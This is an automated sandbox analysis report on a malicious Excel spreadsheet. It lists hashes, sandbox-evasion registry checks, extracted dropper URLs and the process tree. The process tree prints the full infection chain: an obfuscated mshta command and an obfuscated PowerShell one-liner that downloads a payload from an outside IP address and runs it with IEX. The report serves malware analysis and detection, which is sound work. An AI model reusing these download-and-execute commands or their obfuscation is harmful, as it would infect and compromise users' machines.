Analysis
- max time kernel
4s - max time network
9s - platform
windows10-2004_x64 - resource
win10v2004-en-20220113 - submitted
21/01/2022, 04:58
Static task
static1
Behavioral task
behavioral1
Sample
1df4b2482edd9d2789352b664d3e71cf.xls
Resource
win7-en-20211208
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
1df4b2482edd9d2789352b664d3e71cf.xls
Resource
win10v2004-en-20220113
0 signatures
0 seconds
General
- Target 1df4b2482edd9d2789352b664d3e71cf.xls
- Size 71KB
- Sample220121-flvcgsdgb5
- SHA256 db8baab6295830de9d3d9a59dc3b8c88a5de601deeaffaaa83bb6aa941e29b6c
- MD5 1df4b2482edd9d2789352b664d3e71cf
- SHA1 005e320d99445f449c892af452ac2ae012434e1c
- SHA512 4fc56c27774647cf9bc9d8f39bba2737263857fe2d1dce1061b23e8015ee9dda115b969c10f265918f55fbf2a6a40a542a1c18db5e03e27cc37e8bf7c66a2802
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
http://0xb907d607/fer/fe2.html
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
http://185.7.214.7/fer/fe2.png
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3620 1688 cmd.exe 52 - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1688 EXCEL.EXE - Suspicious use of SetWindowsHookEx 4 IoCs
pid Process 1688 EXCEL.EXE 1688 EXCEL.EXE 1688 EXCEL.EXE 1688 EXCEL.EXE
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\1df4b2482edd9d2789352b664d3e71cf.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1688 -
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html2⤵
- Process spawned unexpected child process
PID:3620 -
C:\Windows\system32\mshta.exemshta http://0xb907d607/fer/fe2.html3⤵PID:3548
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵PID:3084
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p1⤵PID:2796
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 408 -p 3548 -ip 35481⤵PID:3112